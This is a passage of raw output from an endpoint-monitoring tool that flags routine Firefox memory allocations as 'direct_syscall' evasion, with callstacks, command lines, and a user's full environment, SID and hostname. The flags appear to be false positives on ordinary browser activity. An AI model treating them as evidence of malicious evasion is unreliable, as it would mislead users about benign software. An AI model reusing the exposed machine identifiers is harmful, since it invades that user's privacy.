C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529448 + Pid: 16712 + Tid: 19776 + Type: VirtualAlloc + CPU: 5 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.5145834 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ ab82aba000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 16712, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 16712 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10868:48747 -prefMapHandle 10872:292858 -jsInitHandle 10876:224660 -parentBuildID 20251118022223 -ipcHandle 10816 -initialChannelId {0600ae23-9cc2-48a7-a65a-af3c938b04ae} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 10892 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 25 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10868:48747 -prefMapHandle 10872:292858 -jsInitHandle 10876:224660 -parentBuildID 20251118022223 -ipcHandle 10816 -initialChannelId {0600ae23-9cc2-48a7-a65a-af3c938b04ae} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 10892 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 25 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529479 + Pid: 7224 + Tid: 24372 + Type: VirtualAlloc + CPU: 7 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.5279379 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ e03b4fa000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 7224, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 7224 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9400:47921 -prefMapHandle 9428:292858 -jsInitHandle 9416:224660 -parentBuildID 20251118022223 -ipcHandle 9584 -initialChannelId {4feac484-a7bf-49e7-bf05-378139991aa3} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 9368 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 19 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 9400:47921 -prefMapHandle 9428:292858 -jsInitHandle 9416:224660 -parentBuildID 20251118022223 -ipcHandle 9584 -initialChannelId {4feac484-a7bf-49e7-bf05-378139991aa3} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 9368 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 19 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529486 + Pid: 3580 + Tid: 24368 + Type: VirtualAlloc + CPU: 1 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.5283303 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ b2db0ca000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 3580, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 3580 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10284:48747 -prefMapHandle 11208:292858 -jsInitHandle 10912:224660 -parentBuildID 20251118022223 -ipcHandle 10772 -initialChannelId {5593fd76-b856-487e-b10c-9cac82f8dbf3} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 10760 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 28 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10284:48747 -prefMapHandle 11208:292858 -jsInitHandle 10912:224660 -parentBuildID 20251118022223 -ipcHandle 10772 -initialChannelId {5593fd76-b856-487e-b10c-9cac82f8dbf3} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 10760 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 28 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Mozilla Firefox;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804db142714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804db074909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804db148ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804db82a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff804db663d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff804db6629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff804db4b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff804db4a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff804db824004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff804db09315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff804db0400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff804db4addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff797d07f97 C:\Program Files\Mozilla Firefox\firefox.exe!TargetCreateThread|0x7ff797cd345d C:\Program Files\Mozilla Firefox\firefox.exe!TargetNtOpenThreadToken64|0x7fff698a799b C:\Windows\System32\ntdll.dll!RtlTimeToSecondsSince1970|0x7fff6991f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7fff697cbcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbf5e C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff697cbad2 C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7fff6987b98b C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff6987b83a C:\Windows\System32\ntdll.dll!EtwEventWriteNoRegistration|0x7fff698a910e C:\Windows\System32\ntdll.dll!LdrInitializeThunk] source=evasion/scanner.go:68 +time=2025-11-24T19:14:14+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2529488 + Pid: 1128 + Tid: 20880 + Type: VirtualAlloc + CPU: 6 + Name: VirtualAlloc + Category: mem + Description: Reserves, commits, or changes the state of a region of memory within the process virtual address space + Host: archrabbit + Timestamp: 2025-11-24 19:14:11.5283565 +0100 CET + Params: alloc_type➜ COMMIT, base_address➜ 123fc3b000, exe➜ C:\Program Files\Mozilla Firefox\firefox.exe, name➜ firefox.exe, page_type➜ PRIVATE, pid➜ 1128, protection➜ READWRITE, protection_mask➜ RW, region_size➜ 12288 + Metadata: evasions: [direct_syscall] + + Pid: 1128 + Ppid: 12980 + Name: firefox.exe + Parent name: firefox.exe + Cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10260:48747 -prefMapHandle 10256:292858 -jsInitHandle 10252:224660 -parentBuildID 20251118022223 -ipcHandle 10420 -initialChannelId {fa0a0784-f668-41bf-941a-8455df160bea} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 9952 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 23 tab + Parent cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" + Exe: C:\Program Files\Mozilla Firefox\firefox.exe + Cwd: C:\Program Files\Mozilla Firefox\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: UNTRUSTED + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 10260:48747 -prefMapHandle 10256:292858 -jsInitHandle 10252:224660 -parentBuildID 20251118022223 -ipcHandle 10420 -initialChannelId {fa0a0784-f668-41bf-941a-8455df160bea} -parentPid 12980 -crashReporter "\\.\pipe\gecko-crash-server-pipe.12980" -crashHelper 9952 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 23 tab] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_1168_1262719628:1 EFC_1168_1592913036:1 EFC_1168_2283032206:1 EFC_1168_2775293581:1 EFC_1168_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT MALLOC_OPTIONS:r MOZ_CRASHREPORTER_DATA_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Crash Reports MOZ_CRASHREPORTER_EVENTS_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Profiles\5z7ambtf.default-release\crashes\events MOZ_CRASHREPORTER_PING_DIRECTORY:C:\Users\nedo\AppData\Roaming\Mozilla\Firefox\Pending Pings NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes 